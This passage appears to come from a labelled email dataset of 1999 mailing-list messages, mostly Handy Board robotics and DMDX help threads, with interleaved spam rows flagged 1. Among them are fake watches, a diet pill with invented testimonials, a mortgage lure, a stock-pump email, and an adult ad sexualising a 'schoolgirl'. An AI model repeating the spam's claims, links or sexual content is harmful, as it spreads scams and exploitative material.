Power Expansion header (J13)on the HB since the Expansion >> board and HB share the same header? Also, I'd be very appreciated for any >> tips on how to modify the Expansion board to work with a the new 12V power >> supply, if needed (does it?). Thanks alot guys. >> >> G. Tran > ",0,1 Giang Tran ,Handyboard@media.mit.edu,"Sat, 25 Sep 1999 15:37:17 -0500",Re: Using 12V supply with Expansion Board?,"Duhhhh....don't forget to put heat sink on the 293 motor drivers or else you will fry it! Thank You Bart Chrijver for the reminding. Rob ",0,0 the SyClops ,handyboard@media.mit.edu,"Sat, 25 Sep 1999 20:45:48 +0000",Serial transmiter,"Does anyone know of a 9600(8,N,1) serial port transmitter? Or have plans for one? I need one for a telepresence robot that I am designing, Also it needs to be as high of power as it can be I am a HAM novice if it makes a difference Andrew Holland a.k.a. the SyClops SyClops@iconnect.net ---------------------------- In the land of the blind, the one eyed man is king ",0,0 Asim Kar ,handyboard@media.mit.edu,"Mon, 27 Sep 1999 16:42:26 +0800",Analog I/O as Digital I/O,"Can the analog input lines be used as a digital input lines (if there is no requirement of analog input)? Because, these lines are connected to the port E of 68hc11, then what are modifications required in the code? Asim Kar. City University of Hong Kong. MEEM Dept. Tat Chee avenue. Kowloon, Hong Kong. email: measim@cityu.edu.hk ",0,0 Will Hein ,"Asim Kar , handyboard@media.mit.edu","Mon, 27 Sep 1999 05:43:26 -0400",Re: Analog I/O as Digital I/O,"> Can the analog input lines be used as a digital input lines (if there is > no requirement of analog input)? Because, these lines are connected to > the port E of 68hc11, then what are modifications required in the code? Since the analog inputs read voltage levels, you should be able to just plug in any switch or 5-0volt input directly. To read the values, use the analog command, and in theory you should only get two possible values, 255 for +5volts, and 0 for 0 volts. Depending on if your inputs are driven logic versus switches, you may need to threshold these values and consider anything above maybe 200 to be a logic high and anything below 50 to be a logic low. But if you are using precisely 5 volts and 0 volts, or an open and closed switch, than the extreme values should be accurate. -Will Hein Carnegie Mellon University ",0,0 Michael N Rosenblatt ,Will Hein ,"Mon, 27 Sep 1999 08:54:00 -0400",Re: Analog I/O as Digital I/O," Also, the ""digital(int p)"" extends to the analog ports too. When used with a port that is analog in hardware, it just uses 127 as a threshold value to return 1 or 0 (note below 127 returns true). See page 22 in the HB manual. However, with this method, you lose the advantage of setting your own thresholds which, as Will stated, may be important depending on your application. Michael Rosenblatt Carnegie Mellon University On Mon, 27 Sep 1999, Will Hein wrote: > > Can the analog input lines be used as a digital input lines (if there is > > no requirement of analog input)? Because, these lines are connected to > > the port E of 68hc11, then what are modifications required in the code? > > Since the analog inputs read voltage levels, you should be able to just plug > in any switch or 5-0volt input directly. To read the values, use the analog > command, and in theory you should only get two possible values, 255 for > +5volts, and 0 for 0 volts. Depending on if your inputs are driven logic > versus switches, you may need to threshold these values and consider > anything above maybe 200 to be a logic high and anything below 50 to be a > logic low. But if you are using precisely 5 volts and 0 volts, or an open > and closed switch, than the extreme values should be accurate. > -Will Hein > Carnegie Mellon University > ",0,0 Rodrigo Lyles ,David ,,re [20]," LUXURY WATCHES - BUY YOUR OWN ROLEX FOR ONLY $219! Rolex :: Cartier :: Bvlgari :: Frank Muller :: Patek Philippe :: Vacheron Constantin A. Lange & Sohne :: Audemars Piguet :: Jaeger-Lecoultre :: IWC :: Officine Panerai Breitling :: Omega :: Tag Heuer Exapmle: ROLEX Full 18K Gold Daytona for MEN - only $269! - Fast delivery - The lowest prices in the world - Worldwide shipping Visit our shop at: http://eqnh130.sewandeatone.com ",1,1 raj k ,handyboard@media.mit.edu,"Mon, 27 Sep 1999 10:55:48 -0700",Problem with bootstrap mode,"Hi I am having hard time in putting my handyboard in bootstrap mode. I didn't used my board in months , so it run out off power. when i tried to use it display is not working properly. The first line of the display is not working. when i swithed on the board the second line matrix is going dark but not the first one. And board is not going in to the bootstrap mode. The power led is not going off, as it suppose to be. Is display is causing the problem ? If it is How do i correct the display or test it? Please help me. Thank you. Raj robo_helpmate@yahoo.com __________________________________________________ Do You Yahoo!? Bid and sell for free at http://auctions.yahoo.com ",0,1 Nick Taylor ,handyboard@media.mit.edu,"Mon, 27 Sep 1999 11:13:56 -0700",Re: Problem with bootstrap mode,"Hi Raj - - Trickle charge the battery for awhile (with the HB turned off), then try it again. Good luck, - Nick - raj k wrote: > > Hi > I am having hard time in putting my handyboard in > bootstrap mode. I didn't used my board in months , so > it run out off power. when i tried to use it display > is not working properly. The first line of the display > is not working. when i swithed on the board the second > line matrix is going dark but not the first one. And > board is not going in to the bootstrap mode. The power > > led is not going off, as it suppose to be. Is display > is causing the problem ? If it is How do i correct the > > display or test it? Please help me. > > Thank you. > > Raj > robo_helpmate@yahoo.com ",0,0 kim kubik ,"jim.robinson@stanford.edu, 9fans@cse.psu.edu","Mon, 27 Sep 1999 15:19:49 -0700",Re: [9fans] output of dict/adict?,"Jim - This is only tangentially related to your question, but I have an article from the January 1987 'IBM J. Res. Develop.' (vol. 31, n1, pp73-80) written by Mike Cowlishaw and discussing the LEXX text editor. IBM has an R&D group at Hursley, UK, and Cowlishaw is kind of their equivalent to Rob Pike. Except of course IBM can never follow through commercially on his creations. Anyhow, Cowlishaw writes that 'the editor was originally developed as a tool for lexicographers during the author's secondment to the New Oxford English Dictionary project at Oxford University Press and uses that project in the examples. The screen shot figures in my copy are illegible, but if you're interested you might go to the Stanford CS library and look up the original. A version of LEXX called LPEX is included in some of IBMs OS/2 products, so of course I've never seen it. But from reading the article (which came out about the same time the original SAM article did) it sounded like it had some interesting features, esp. for tagged (or any structured) data. - kim -----Original Message----- From: James A. Robinson To: Plan 9 Mailing List <9fans@cse.psu.edu> Date: Wednesday, September 22, 1999 7:40 PM Subject: [9fans] output of dict/adict? >Would anyone using the OED with dict/adict be able to provide me with >some sample views of the sessions you use often? > >My group at Stanford is developing the online web OED with Oxford, >and I'm thinking it would be nice to have an unofficial command-line >program that could do the same types of lookups that dict does. The >actual lookups and stuff aren't hard to do, but what I would like is >an idea of what the results look like. > >I guess follows should go directly to me, since I doubt anyone else here >is all that interested what a session looks like. =) > > >Jim > >- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - >James A. Robinson jim.robinson@stanford.edu >Stanford University HighWire Press http://highwire.stanford.edu/ >650-723-7294 (W) 650-725-9335 (F) >",0,1 Booker Sanford ,handyboard@media.mit.edu,"Tue, 28 Sep 1999 01:38:39 -0700",glorious russian splendid Girls here!," Just esthetic Schoolgirl succking Dick! http://kisstechno.info/pwadultas.htm?iSPhfd.fX,hj U_N_S_U_B_S_C_R_II_B_E http://kisstechno.info ",1,1 """Umar Khan; ENME"" ",handyboard@media.mit.edu,"Mon, 27 Sep 1999 22:42:34 -0400",hbtest.c,"Hi, I'm assembling a handyboard and am at the stage where the digital inputs are tested using the testdigitals() function of hbtest.c. The test partially works, and I get the beeps after pressing the start and stop buttons, but when I jumper the digital inputs at J2, the zeros never change to ones for any of the inputs. I'd appreciate your suggestions. Thanks, Umar x ",0,0 mrobson@icon.co.zw,handyboard@media.mit.edu,"Tue, 28 Sep 1999 05:16:03 -0100","Lo-Tech for Hi-Tech swaps, anyone? ","I plan to use the Handyboard within a Course on Interfacing, Microcontroller and Assembly Language Programming at undergraduate level here, starting next month. It turns out that there is a PCB production facility here in Zimbabwe which is now manufacturing the Handyboard PCB for me quite nicely at relatively low cost. But the parts (eg plcc sockets, 74HC family etc) are relatively expensive here. So here is my question. Is there anybody out there who would like some low-cost Handyboard PCBs for your students to mess up? I would like to swap bare, unfilled Handyboards for parts, like 68HC11E1, caps, LEDs, anything on the list, new or used. Just put them into a small Jiffey bag with a Green Customs Sticker marked ""Gift: value US$1"" (very very important) and send to address below. Anything you send will be used by my students, who would otherwise have to buy parts locally for their practical work. Please include your name and mail address, and say whether you want some Handyboard PCBs in return, or would rather swap for African exotica. I do a rather nice line in African stone carvings, Witchdoctor impedimenta, also local newspapers and books, ANYTHING (well, almost.......) Mike Robson Lecturer in Computer Science Dept. of Computer Science University of Zimbabwe Box MP167, Harare, Zimbabwe, Africa. ",0,0 mrobson@icon.co.zw,handyboard@media.mit.edu,"Tue, 28 Sep 1999 05:42:17 -0100","Lo-Tech for Hi-Tech swaps, anyone? ","I plan to use the Handyboard within a Course on Interfacing, Microcontroller and Assembly Language Programming at undergraduate level here, starting next month. It turns out that there is a PCB production facility here in Zimbabwe which is now manufacturing the Handyboard PCB for me quite nicely at relatively low cost. But the parts (eg plcc sockets, 74HC family etc) are relatively expensive here. So here is my question. Is there anybody out there who would like some low-cost Handyboard PCBs for your students to mess up? I would like to swap bare, unfilled Handyboards for parts, like 68HC11E1, caps, LEDs, anything on the list, new or used. Just put them into a small Jiffey bag with a Green Customs Sticker marked ""Gift: value US$1"" (very very important) and send to address below. Anything you send will be used by my students, who would otherwise have to buy parts locally for their practical work. Please include your name and mail address, and say whether you want some Handyboard PCBs in return, or would rather swap for African exotica. I do a rather nice line in African stone carvings, Witchdoctor impedimenta, also local newspapers and books, ANYTHING (well, almost.......) Mike Robson Lecturer in Computer Science Dept. of Computer Science University of Zimbabwe Box MP167, Harare, Zimbabwe, Africa. Lecturer in Computer Science University of Zimbabwe ",0,0 oyzqrqi medburf ,"handyboard@media.mit.edu, randall@media.mit.edu","Tue, 28 Sep 1999 12:19:46 +0700",Watch INFX like a hawk [R E P O R T NEW PICK friday it is] compression galenite employment's,"Infinex Ventures Inc. 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So much for being an engineer, huh??? thanks, paul ",0,0 Matt Austin ,Paul DaCosta ,"Tue, 28 Sep 1999 18:27:10 +0100",Re: PCODER22.S19,"Your loading the wrong pcode file, you need to load pcode_hb.s19, not pcoder22.s19 Matt -----Original Message----- From: Paul DaCosta To: Handyboard Date: 28 September 1999 16:57 Subject: PCODER22.S19 >hey everyone, i need help i cannot download ic to my hb, i followed the >instructions, but it doesn't work. I keep getting a message like this"" >cannot find file pcoder22.s19"" > >what's up with this, can someone tell me the right way of downloading ic >to the HB, the manual is too confusing. So much for being an engineer, >huh??? > >thanks, > >paul >",0,0 Jackson Cornett ,handyboard@media.mit.edu,"Tue, 28 Sep 1999 14:53:47 -0500",Is Fatigue and Depression Killing U?,"try lexical may goldwater ! appoint it compress ! suzanne ",1,0 Kristy Hammond ,DMDX@psy1.psych.arizona.edu,"Tue, 28 Sep 1999 15:05:01 +0100",Re: loaf,"the cervix and fifth in clergyman on tribute , residential ",1,0 """j.c.f."" ",DMDX@psy1.psych.arizona.edu,"Wed, 29 Sep 1999 10:05:28 -0700",[DMDX] list problems," Anyone have trouble posting to the list recently? Something from someone is the .es domain was jiggering the list serv. If you are having trouble posting then send mail directly to me. -jonathan (j.c.f.) /""\\ \\ / X ASCII RIBBON CAMPAIGN - AGAINST HTML MAIL / \\ Nothing cures insomnia like the realization that it's time to get up. ",0,0 Paul DaCosta ,Handyboard ,"Wed, 29 Sep 1999 11:47:59 -0400",9.6V POWER AND 9V MOTORS,"Question? The 9.6v battery in the HB is ideal for running 9v motors, correct? So wouldn't it be true that the motors of an R/C car which also has a 9.6v battery be 9v??? How do you go about finding the voltage and current drawn in a DC motor??? thankx!!!! ",0,0 Chuck McManis ,Handyboard ,"Wed, 29 Sep 1999 10:38:23 -0700",Re: 9.6V POWER AND 9V MOTORS,"At 11:47 AM 9/29/99 -0400, Paul DaCosta wrote: >How do you go about finding the voltage and current drawn in a DC >motor??? Measure the resistance of the motor's windings. Motors are typically rated in max current, NOT max voltage. Take any voltage and divide it by the winding resistance to get the current the motor will draw at stall (and when it is initally starting) at that voltage). There is no way to ""deduce"" the maximum current a motor can sustain without either getting the manufacturers specifications or by burning up a few. --Chuck ",0,0 MSMKatz ,handyboard@media.mit.edu,"Wed, 29 Sep 1999 22:04:43 +0100",how to address expbd servos via machine language?,"Hi everybody, I use one of the servos connected to my expansion board to make a continuously sweeping movement for an IR proximity sensor which is attached to this servo. At present, the code for generating the necessary servo position commands (servo2= ..) is written in IC. To increase the efficiency of my program, I want to rewrite this code in machine language. My question is: What is the memory location in expservo.icb and/or libexpbd.icb that I need to address from my machine language program in order to move servo2 (which is the servo I'm using as sweeper) to its required positions? I've successfully made a similar program for my HB without the expansion board, but I've lost my way in the asm routines for the expansion board.. I'd very much appreciate any help on this! Best regards, Marc Katz msmkatz@wxs.nl ",0,0 KIM LEE JUNG ,handyboard@media.mit.edu,"Wed, 29 Sep 1999 18:49:28 -0400",speech recognition,"hi, everyone. we are trying to build an interactive robot which will react to voice commands. does anyone know any good speech recognition kit that we can use with handyboard? thanks for your inputs. :) lee ",0,0 Jeffrey Hazen ,handyboard@media.mit.edu,"Wed, 29 Sep 1999 23:03:47 +0000",RE: speech recognition,"Good is relative, and I don't have a handy board (so everything hereafter is at best, suspect). You might look at the boards at WWW.imagesco.com. I don't know anything about them..... Jeff jeffrey.hazen@northmill.net -----Original Message----- From: KIM LEE JUNG [SMTP:handyboard@media.mit.edu] Sent: Wednesday, September 29, 1999 6:49 PM To: lugnet.robotics.handyboard@lugnet.com Subject: speech recognition hi, everyone. we are trying to build an interactive robot which will react to voice commands. does anyone know any good speech recognition kit that we can use with handyboard? thanks for your inputs. :) lee ",0,0 KIM LEE JUNG ,handyboard@media.mit.edu,"Wed, 29 Sep 1999 19:22:30 -0400",speech recognition kit,"Hi, everyone :) we are trying to build an interactive robot which will react to voice commands. does anyone know any good speech recognition kit that we can use with handyboard? thanks for your inputs. :) lee ",0,0 Nick Taylor ,handyboard@media.mit.edu,"Wed, 29 Sep 1999 23:29:28 +0000",Re: speech recognition,"Hi Lee - - Here are links to the two that I've been playing with for a short while. http://www.imagesco.com/catalog/CatalogIndex.html http://www.voiceactivation.com/html/voicedirect.html - Nick - KIM LEE JUNG wrote: > > hi, everyone. > we are trying to build an interactive robot which will react to voice > commands. does anyone know any good speech recognition kit that we can use > with handyboard? > thanks for your inputs. > > :) > lee ",0,1 Conboy ,"mrobson@icon.co.zw, handyboard@media.mit.edu","Wed, 29 Sep 1999 21:41:16 -0700","Re: Lo-Tech for Hi-Tech swaps, anyone? ","Professor Robson: I am an Electrical engineering student at Oregon State University. I am really interested in trading you for your stone carving (My wife is an Art major and collector), but I don't just want to send off a bag of misc. parts that you really don't need. In a couple of days, let me know what exactly you still need and how many and I am sure that we can easily work something out. I also have a friend going to your country to visit in a few weeks so I probably could just send them with him (Could ship from there and save me some of the shipping if the parts are small). Best of luck teaching the class. I am working on setting a more basic one up myself (starts in two weeks w/ some basic electronic theory and practice) Tyler Conboy conboy@engr.orst.edu ----- Original Message ----- From: To: Sent: Monday, September 27, 1999 11:42 PM Subject: Lo-Tech for Hi-Tech swaps, anyone? > I plan to use the Handyboard within a Course on Interfacing, Microcontroller > and Assembly Language Programming at undergraduate level here, starting next > month. It turns out that there is a PCB production facility here in Zimbabwe > which is now manufacturing the Handyboard PCB for me quite nicely at > relatively low cost. But the parts (eg plcc sockets, 74HC family etc) are > relatively expensive here. > > So here is my question. > > Is there anybody out there who would like some low-cost Handyboard PCBs for > your students to mess up? I would like to swap bare, unfilled Handyboards > for parts, like 68HC11E1, caps, LEDs, anything on the list, new or used. > Just put them into a small Jiffey bag with a Green Customs Sticker marked > ""Gift: value US$1"" (very very important) and send to address below. Anything > you send will be used by my students, who would otherwise have to buy parts > locally for their practical work. Please include your name and mail address, > and say whether you want some Handyboard PCBs in return, or would rather > swap for African exotica. I do a rather nice line in African stone carvings, > Witchdoctor impedimenta, also local newspapers and books, ANYTHING (well, > almost.......) > > > Mike Robson > Lecturer in Computer Science > Dept. of Computer Science > University of Zimbabwe > Box MP167, Harare, Zimbabwe, Africa. > > > Lecturer in Computer Science > University of Zimbabwe > > > > >",0,0 """John P. Kline"" ",DMDX@psy1.psych.arizona.edu,"Thu, 30 Sep 1999 14:47:48 -0400",[DMDX] CIO DIO 24 from Computerboards,"Dear all, I am hoping to use DMASTR to control ERP and EEG experiments using a Neuroscan setup with synamps, and hope to find others who are doing the same. First off, I need to get the stimulus computer connected to the EEG computer. I checked into the PIO12 i/o card from Keithley... It seems that Computerboards makes an identical unit (called the CIO DIO 24). Has anyone used the Computerboards card for such a purpose? If anyone has any helpful hints about setting this up I would be most appreciative. with best regards, John Kline ___________________________________________________________________________ John P. Kline, Ph.D. Phone: 850-644-9363 Assistant Professor Fax: 850-644-7739 Department of Psychology Florida State University Mailto:kline@psy.fsu.edu Tallahassee, FL 32306-1051 http://klinelab.psy.fsu.edu ___________________________________________________________________________ ",0,1 """John P. Kline"" ",DMDX@psy1.psych.arizona.edu,"Thu, 30 Sep 1999 15:02:08 -0400",[DMDX] Re: CIO DIO 24 from Computerboards,"This should have said I am hoping to use DMDX... Not DMASTR. sheesh! JK At 02:47 PM 9/30/99 -0400, John P. Kline wrote: >Dear all, > >I am hoping to use DMASTR to control ERP and EEG experiments using a >Neuroscan setup with synamps, and hope to find others who are doing the same. > >First off, I need to get the stimulus computer connected to the EEG >computer. I checked into the PIO12 i/o card from Keithley... It seems that >Computerboards makes an identical unit (called the CIO DIO 24). Has anyone >used the Computerboards card for such a purpose? > >If anyone has any helpful hints about setting this up I would be most >appreciative. > >with best regards, > >John Kline > > > > > >___________________________________________________________________________ >John P. Kline, Ph.D. Phone: 850-644-9363 >Assistant Professor Fax: 850-644-7739 >Department of Psychology >Florida State University Mailto:kline@psy.fsu.edu >Tallahassee, FL 32306-1051 http://klinelab.psy.fsu.edu >___________________________________________________________________________ > > > >==================================================================== > Send mail to DMDX-request@psy1.psych.arizona.edu with the word > 'unsubscribe' by itself with no quotes in the body of the email > and Ken will then remove you from the list at his earliest > convenience. The list archive is available here: > http://psy1.psych.arizona.edu/cgi-bin/DMDX/thread >==================================================================== > ___________________________________________________________________________ John P. Kline, Ph.D. Phone: 850-644-9363 Assistant Professor Fax: 850-644-7739 Department of Psychology Florida State University Mailto:kline@psy.fsu.edu Tallahassee, FL 32306-1051 http://klinelab.psy.fsu.edu ___________________________________________________________________________ ",0,1 """Jonathan C. Forster"" ",DMDX@psy1.psych.arizona.edu,"Thu, 30 Sep 1999 12:18:36 -0700",[DMDX] Re: CIO DIO 24 from Computerboards,"At 02:47 PM 9/30/99 -0400, you wrote: >computer. I checked into the PIO12 i/o card from Keithley... It seems that >Computerboards makes an identical unit (called the CIO DIO 24). Has anyone >used the Computerboards card for such a purpose? Yes, we haven't bought the MetraByte card in ten years. -jonathan (j.c.f.) /""\\ \\ / X ASCII RIBBON CAMPAIGN - AGAINST HTML MAIL / \\ A pedestal is as much a prison as any small, confined space. - Gloria Steinem ",0,0 """John P. Kline"" ",DMDX@psy1.psych.arizona.edu,"Thu, 30 Sep 1999 15:35:19 -0400",[DMDX] Re: CIO DIO 24 from Computerboards,"Johnathan, Thanks for the response. However, I need to know if this is indeed the right model number before I order one. cheers, JK At 12:18 PM 9/30/99 -0700, you wrote: >At 02:47 PM 9/30/99 -0400, you wrote: > >>computer. I checked into the PIO12 i/o card from Keithley... It seems that >>Computerboards makes an identical unit (called the CIO DIO 24). Has anyone >>used the Computerboards card for such a purpose? > > Yes, we haven't bought the MetraByte card in ten years. > >-jonathan (j.c.f.) > > /""\\ > \\ / > X ASCII RIBBON CAMPAIGN - AGAINST HTML MAIL > / \\ > >A pedestal is as much a prison as any small, confined space. > > - Gloria Steinem > > >==================================================================== > Send mail to DMDX-request@psy1.psych.arizona.edu with the word > 'unsubscribe' by itself with no quotes in the body of the email > and Ken will then remove you from the list at his earliest > convenience. The list archive is available here: > http://psy1.psych.arizona.edu/cgi-bin/DMDX/thread >==================================================================== > ___________________________________________________________________________ John P. Kline, Ph.D. Phone: 850-644-9363 Assistant Professor Fax: 850-644-7739 Department of Psychology Florida State University Mailto:kline@psy.fsu.edu Tallahassee, FL 32306-1051 http://klinelab.psy.fsu.edu ___________________________________________________________________________ ",0,1 Adiella ,DMDX@psy1.psych.arizona.edu,"Thu, 30 Sep 1999 09:50:41 -0500",u got sags under your eyes?,"it parkland and symphony but chlorate may squat it bashaw ",1,0 """Jonathan C. Forster"" ",DMDX@psy1.psych.arizona.edu,"Thu, 30 Sep 1999 15:06:34 -0700",[DMDX] Re: CIO DIO 24 from Computerboards,"At 03:35 PM 9/30/99 -0400, you wrote: >Johnathan, > >Thanks for the response. However, I need to know if this is indeed the >right model number before I order one. If they say that's the MetraByte PIO-12 clone then that's the one. The name sounds right. -jonathan (j.c.f.) /""\\ \\ / X ASCII RIBBON CAMPAIGN - AGAINST HTML MAIL / \\ A pedestal is as much a prison as any small, confined space. - Gloria Steinem ",0,0 Jens Graf ,handyboard@media.mit.edu,"Thu, 30 Sep 1999 20:47:37 +0000",no way to load an icb file !?!?!?,"Hi all, IC does'nt load my *.icb file. Why? I wrote this code in a *.asm file: TFLG1 EQU $1023 ORG MAIN_START subroutine_initialize_module: ldd #IC3_interrupt_handler std $FFEA cli rts variable_right_clicks: fdb 0 IC3_interrupt_handler: ldd variable_right_clicks addd #1 std variable_right_clicks ldaa #%00000001 staa TFLG1 rti Then I assembled this file with as11_ic. At loading the file, the message was displayed: Fatal internal error: Illegal line in s19 file. What's wrong? ",0,0 TH0RMAN23@aol.com,handyboard@media.mit.edu,"Thu, 30 Sep 1999 23:31:35 -0400",Using separate motor power source with Expansion board,"Hi all, I have just modified my handy board to work with a 12V motor power source without doing much modification to the Expansion board. If anyone is interested in doing the same, just follow the directions listed below. 1. Follow the direction on cutting the motor power trace as indicated on the HB's site. 2. Solder the new motor source to the HB on the ""solder side"" of the PCB. You should leave the original header on the HB, it will help keeps expansion board sturdy. 3. De-solder the pass-through motor power pins on the Expansion board or just snip it off with a plier and solder the HB's 9.6V supply to the same pins location on the Expansion board. Now the expansion board is not sharing the same source through the motor header anymore but you still get the same 9.6V as before. Make sure the polarities of the leads are correct or you will damaged the expansion board. 4. To be on the safe side, add a low profile heatsink to each of the two 293D motor drivers on the HB to keep them cool. Good luck. Rob ",0,0 """Crankcases G. Crimed"" ",Bait ,"Thu, 30 Sep 1999 19:44:33 -0700",Watch your body change with Hoodia,"Hoodia 920+ -- The newest and most exciting fat loss product available - As seen on Oprah! http://www.bavator.com/hd/?90&nHi46Twe5765GjO718iu00Bfs5W Real testimonials: ""I was originally amazed that the first two pills I took of Hoodia 920+, almost immediately took my cravings away. Now 4 weeks later, 3 belt holes later, I have become an advocate for this awesomely powerful, natural supplement!"" Lusia R., San Diego ""I tried Hoodia 920+ after visiting your website, and I lost a few pounds without doing anything else. I was so amazed I decided to start exercising and getting outside more and I even starting eating better. Now I don't even look like the same man. Friends I haven't seen for more than a year don't even recognize me. The change is that dramatic! Thank you �. Hoodia 920+ really works!"" Mikkey Fox, New York Read more testimonals here! http://www.roptres.com Remove you e-mail http://www.bavator.com/u.php ",1,1 """Fred G. Martin"" ",handyboard@media.mit.edu,"Fri, 01 Oct 1999 10:51:13 +0000",Re: no way to load an icb file !?!?!?,"You must strip the DOS carriage returns from the .icb file. Please see the FAQ for an automated way to do this: http://el.www.media.mit.edu/projects/handy-board/faq/index.html#icb Fred In lugnet.robotics.handyboard, Jens Graf writes: >Hi all, > >IC does'nt load my *.icb file. Why? >I wrote this code in a *.asm file: > > >TFLG1 EQU $1023 >ORG MAIN_START > >subroutine_initialize_module: > ldd #IC3_interrupt_handler > std $FFEA > cli > rts > >variable_right_clicks: > fdb 0 > >IC3_interrupt_handler: > ldd variable_right_clicks > addd #1 > std variable_right_clicks > ldaa #%00000001 > staa TFLG1 > rti > >Then I assembled this file with as11_ic. >At loading the file, the message was displayed: > >Fatal internal error: >Illegal line in s19 file. > >What's wrong? ",0,1 Owain Roberts ,handyboard@media.mit.edu,"Fri, 01 Oct 1999 15:04:24 +0000",IC on Irix,"Hello, I have seen on the Newton Labs website that IC is available for SGI Unix. Unfortunately I cannot find any more documentation than that. Does anyone know whether IC will work on Irix 6.2? Also, how do you download P code to the board? I think the website said an automatic dowloader is only available for Windows and Macintosh. Also, does anyone know whether the Macintosh Handyboard interface from Gleason Reseach will work with the serial ports on an Indy? Thanks very much, Owain Roberts ",0,0 Ken Feingold ,Handyboard ,"Fri, 01 Oct 1999 19:38:34 -0400",Re: IC on Irix," > Hi, > I use IC on Irix sometimes... > > Owain Roberts wrote: > > Does anyone know whether IC will work on Irix 6.2? > > Yes, it does - no problems at all. > > > Also, how do you download P code to the > > board? I think the website said an automatic dowloader is only available for > > Windows and Macintosh. > > In your ~ic_sgi_3.1/bin directory there is an executable called ""dl"" > which you use, giving it the path to your pcode and the port you are > using such as > > ""bin/dl pcode_rw.s19 -port /dev/ttyd1 -libdir libs"" > > > > > Also, does anyone know whether the Macintosh Handyboard interface from Gleason > > Reseach will work with the serial ports on an Indy? > > I have not tried that. > > good luck, > Ken ",0,0 """Fred G. Martin"" ",handyboard@media.mit.edu,"Sat, 02 Oct 1999 10:21:54 +0000",Re: IC on Irix,">Also, does anyone know whether the Macintosh Handyboard interface from Gleason >Reseach will work with the serial ports on an Indy? There's no reason there should be a problem with this. The HB interface uses fully standard serial comms protocols. All you have to do is get the right cable to connect the HB interface to your SGI. The HB interface acts like a modem with a DB-25 female connector (as do many modems). So get whatever cable you would use to connect such a modem to your SGI and you'll be in business. One end would be a DB-25 male and the other end goes into the SGI. ",0,0 Giang Tran ,handyboard@media.mit.edu,"Sat, 02 Oct 1999 13:28:16 -0500",IC motion control,"I am having problems with programming the handyboard using Interactive C 3.2. When I used the function fd(n) to test for continuous motor rotation, the board would crashed or it would only spin for a fraction of a second. Also, even when I put it in an endless loop, it would only spin for a fraction of a second. I know IC is not a traditional C compiler, so is there something I am missing? ",0,0 Matt Austin ,Giang Tran ,"Sat, 02 Oct 1999 21:43:13 +0100",Re: IC motion control,"It sounds like your motors could be drawing too much current, and re-setting the board perhaps. Matt -----Original Message----- From: Giang Tran To: handyboard@media.mit.edu Date: 02 October 1999 19:27 Subject: IC motion control >I am having problems with programming the handyboard using Interactive C >3.2. When I used the function fd(n) to test for continuous motor rotation, >the board would crashed or it would only spin for a fraction of a second. >Also, even when I put it in an endless loop, it would only spin for a >fraction of a second. I know IC is not a traditional C compiler, so is >there something I am missing? > >",0,0 josh wojnas ,handyboard@media.mit.edu,"Sat, 02 Oct 1999 14:24:32 -0700",does a common pic programer work with the sx microchips,"does a common pic programer work with the sx microchips ===== __________________________________________________ Do You Yahoo!? Bid and sell for free at http://auctions.yahoo.com ",0,1 Kent Marshall ,handyboard@media.mit.edu,"Sat, 02 Oct 1999 18:02:44 -0400",tiny gears," I'm looking for a very small set of gears. For example, I need a worm with a 0.025"" diameter bore and another with a 0.040"" diameter bore. Both of these could be as long as 3/8"". The size of the worm gears doesn't matter too much, although I'd like them to be less than 0.75"" in diameter, preferably 0.5"" in diameter. I realize that these might not be commonplace. I've looked through Thomas Register and I've been calling and emailing a lot of folks. I'm in hopes that someone on this mailing list has had some call for parts in this particular scale. If not, perhaps someone knows of a company in europe or Asia that I could contact? Any insight would be appreciated... Kent ",0,0 """Fred G. Martin"" ",handyboard@media.mit.edu,"Sat, 02 Oct 1999 22:55:43 +0000",Re: IC motion control,"your motor probably draws too much current to work with the HB. unplug the motor and see if things work. if so, the problem is your motor. see the FAQ more for on how to choose a motor that works with the HB. fred In your message you said: > I am having problems with programming the handyboard using Interactive C > 3.2. When I used the function fd(n) to test for continuous motor rotation, > the board would crashed or it would only spin for a fraction of a second. > Also, even when I put it in an endless loop, it would only spin for a > fraction of a second. I know IC is not a traditional C compiler, so is > there something I am missing? > ",0,0 Jeffrey Hazen ,handyboard@media.mit.edu,"Sun, 03 Oct 1999 00:37:15 +0000",RE: tiny gears,"Kent: I'm not at work, so I don't have access to some catalogs there... but have you looked at W.M. Berg, PIC, Sterling Drive Components, etc??? I think they are all located in Connecticut, USA. hey specialize in very small precision gears and drive components. You will probobly have to bore the I.D. yourself, as your specs are a little off the nominal inch standards. Give me a buzz personally if you want more info on the above. HTH, Jeff jeffrey.hazen@northmill.net > -----Original Message----- > From: news-gateway@lugnet.com [mailto:news-gateway@lugnet.com]On Behalf > Of Kent Marshall > Sent: Saturday, October 02, 1999 6:03 PM > To: lugnet.robotics.handyboard@lugnet.com > Subject: tiny gears > > > I'm looking for a very small set of gears. For example, I need a worm > with a 0.025"" diameter bore and another with a 0.040"" diameter bore. > Both of these could be as long as 3/8"". The size of the worm gears > doesn't matter too much, although I'd like them to be less than 0.75"" in > > diameter, preferably 0.5"" in diameter. > > I realize that these might not be commonplace. I've looked through > Thomas Register and I've been calling and emailing a lot of folks. I'm > in hopes that someone on this mailing list has had some call for parts > in this particular scale. If not, perhaps someone knows of a company in > > europe or Asia that I could contact? > > Any insight would be appreciated... > > Kent > ",0,0 DebtElimination ,handyboard@media.mit.edu,,"May Statement Sat, 2 Oct 1999 21:37:48 -0200","Hello, You have been chosen to participate in an invitation only limited time event! Are you currently paying over 3% for your mortgage? STOP! We can help you lower that today! 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The size of the worm gears > doesn't matter too much, although I'd like them to be less than 0.75"" in > > diameter, preferably 0.5"" in diameter. http://www.small-parts.com -- ___________________________________________________________________________ Jonathan Pennington | -Wannabe Geologist/Anthropologist Charleston, SC | -Linux User and Advocate Email at jwp(at)awod.com | 83 V45 Magna ""The Lighter Side"" root@localhost (Spambot food) | 71 Triumph TR6C ""Mistake"" ---------------------------------------------------------------------------- ",0,1 Dennis Clark ,handyboard@media.mit.edu,"Sun, 03 Oct 1999 05:12:46 +0000",Re: does a common pic programer work with the sx microchips,"In lugnet.robotics.handyboard, Josh Wojnas writes: >does a common pic programer work with the sx microchips Nope - different programming algorith, different pins used. DLC ",0,0 Abdul Jabbar Tajudeen ,handyboard@media.mit.edu,"Sun, 03 Oct 1999 15:45:36 +0530",equivalent darlington pair,"Hi all, I have problem in getting NPN darlington ZTX614 in market.Suggest me some other Darlington pair with the equivalent characteristics of the above. Please give me the full details and kindly donot give any mailorder site's address. Jabbar ",0,0 """Twaddled Q. Butches"" ",Bait ,"Sat, 02 Oct 1999 23:47:15 -0400",High quality Replica 